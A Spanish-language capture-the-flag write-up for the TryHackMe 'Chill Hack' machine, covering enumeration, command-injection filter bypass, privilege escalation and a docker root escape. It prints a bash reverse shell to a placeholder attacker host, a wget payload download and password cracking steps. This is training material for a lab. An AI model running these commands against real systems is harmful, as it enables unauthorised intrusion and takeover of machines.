xerosec
Buscar
K

Chill Hack

¡Hola!
En este Writeup vamos a resolver la máquina Chill Hack de TryHackMe, una máquina de nivel de dificultad fácil. La podéis encontrar en el siguiente enlace:

Reconocimiento

Comprobamos que la máquina está activa y tenemos acceso a ella ejecutando un ping:
ping -c 1 <IP_máquina>
Y para empezar lanzamos nmap para detectar puertos abiertos y la versión y servicios que corren sobre ellos. Además, vamos a exportar la captura de nmap para poder consultarla más adelante si hiciera falta:
nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>
La captura de nmap nos arroja los siguientes resultados:
Podemos destacar un servidor FTP al que podemos acceder sin credenciales bajo el usuario Anonymous y tendremos acceso a un archivo llamado note.txt:
Nos descargamos dicho archivo a nuestra máquina de atacante con el comando get:
get note.txt
Y si visualizamos su contenido nos encontramos con el siguiente mensaje, que nos permite enumerar dos potenciales usuarios:
Teniendo listados dos posibles usuarios, Anurodh y Apaar, podríamos intentar llevar a cabo ataques de fuerza bruta sobre el servicio SSH.
Por el momento vamos a echar un vistazo a la web que corre en el puerto 80 bajo el servicio http:
Como podemos comprobar no encontramos gran cosa, la mayoría de botones y accesos están inhabilitados así que vamos a probar a enumerar posibles rutas válidas mediante fuzzing, en esta ocasión vamos a utilizar el script http-enum de nmap:
nmap --script=http-enum -p80 <IP>
Y encontramos una ruta oculta bajo la dirección /secret:
Vamos a echar un vistazo:
Parece que se trata de una consola en la que podemos ejecutar comandos del sistema. Tras varias pruebas parece que algunos comandos no los admite debido a que se aplican algunos filtros.
Vamos a intentar crear una pequeña lista de comandos para, mediante el módulo Intruder de Burp Suite agilizar la comprobación de comandos admitidos.
Empezamos interceptando la petición:
Mandamos la petición al Intruder y definimos el campo a sustituir:
Vamos a la pestaña Payloads y creamos una pequeña lista de comandos y lanzamos el ataque:
En base a la longitud de la respuesta podemos determinar qué comandos son válidos y cuáles no. En este caso si la longitud es igual a 683 significa que el comando es inválido:

Explotación

Lo primero que probé fue intentar lanzar una reverse shell en base64, decodificarla y ejecutarla con bash con el siguiente comando: base64 -d <<< reverse_shell_base64 | bash
No tuvo éxito.
Vamos a intentar, a través del comando wget y creando un servidor http con Python, subir una reverse shell en bash directamente al directorio /tmp.
Primero creamos la reverse shell con extensión .sh:
#!/bin/bash
bash -i >& /dev/tcp/<IP_Atacante>/<Puerto> 0>&1
Iniciamos nuestro servidor http con Python:
python3 -m http.server
Con wget nos descargamos el archivo en el directorio /tmp de la máquina víctima:
wget http://<IP_atacante>:<Puerto>/reverse-shell.sh -O /tmp/reverse-shell.sh
Comprobamos a través del log de nuestro servidor http que se ha realizado la petición correctamente:
Dado que el comando find si funciona voy a listar los elementos que contiene la carpeta tmp, y ¡ahí está nuestra reverse shell!
Ponemos netcat en escucha:
nc -lvp <Puerto>
Vamos a intentar ejecutarla desde la consiola de comandos y...
Parece que no hace nada, ¿será por los permisos?
Le otorgamos permisos completos con chmod:
chmod 777 /tmp/reverse-shell.sh
¡Y ahora sí! Nuestra reverse shell se ejecuta y estamos dentro:

Post Explotación

Ahora que tenemos una consola bajo el usuario www-data vamos a proceder a la fase de escalada de privilegios.
Primero realizamos un tratamiento de la TTY para movernos con más soltura por el sistema, puedes encontrar como hacerlo en el siguiente enlace:
Linux
hvbr1d
Tratamiento de la TTY
Ejecutamos sudo -l para listar binarios que podamos ejecutar como otro usuario y descubrimos que podemos ejecutar un binario llamado .helpline.sh como el usuario apaar:
Vamos a echar un vistazo al código del programa:
Parece que la variable msg se ejecuta como un comando del sistema así que vamos a aprovecharnos de esta vulnerabilidad para lanzar una shell bajo el usuario apaar de siguiente forma:
sudo -u apaar /home/apaar/.helpline.sh # Ejecutamos el programa como el usuario apaar
Nombre # Introducimos un nombre cualquiera
bash # Lanzamos una pseudo consola dentro del programa
whoami # Comprobamos que hemos cambiado al usuario apaar
Para lanzar una shell interactiva bajo el usuario apaar podemos hacerlo utilizando Python con el siguiente comando:
python3 -c 'import pty; pty.spawn("/bin/sh")'
bash
La máquina solo dispone de la versión 3 de Python
Bajo el directorio /home/apaar/ podemos encontrar la flag de usuario de bajos privilegios.

Escalada de privilegios

Después de un buen rato explorando el sistema encontramos en el directorio /var/www/files/ un archivo php algo sospechoso por su nombre; hacker.php. Cuando listamos el contenido del archivo obtenemos la ruta de una imagen junto a una pequeña pista:
Vamos a probar a traernos la imagen a nuestra máquina y a hacerle stego. Para ello nos movemos al directorio /var/www/files/images e iniciamos un servidor http con Python:
python3 -m http.server
Con wget nos traemos la imagen a nuestra máquina de atacante:
wget http://<IP>:<Puerto>/hacker-with-laptop_23-2147985341.jpg
Utilizamos steghide para extraer información oculta de la imagen:
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
Y con esto nos extrae un archivo llamado backup.zip. Si intentamos extraer su contenido comprobamos que está protegido con contraseña así que vamos a usar zip2john y john para intentar crackear la contraseña:
zip2john backup.zip > backup_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt backup_hash.txt
Y john nos reporta la contraseña para descomprimir el archivo.
Ahora sí, vamos a proceder a extraer el contenido de backup.zip:
Al examinar el contenido de source_code.php podemos ver que hace referencia a uno de los usuarios anteriormente descubiertos; Anurodh y que contiene lo que parece ser un password codificado en base64:
Procedemos a decodificarlo:
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
Con estas credenciales podremos iniciar sesión como el usuario Anurodh.
Listamos los grupos a los que pertenece el usuario con id:
Y comprobamos que el usuario pertenece al grupo docker. Vamos a echar un vistazo a GTFObins a ver qué podemos con la capacidad de ejecutar docker desde una shell.
Ejecutamos el comando que nos sugiere GTFObins y...
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
¡Bam! Conseguimos una shell de altos privilegios como root 😎
Y con esto ya podemos visualizar la flag de root que se encuentra bajo la ruta /root/.
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:
¡Gracias por llegar hasta aquí!
Última actualización 1yr ago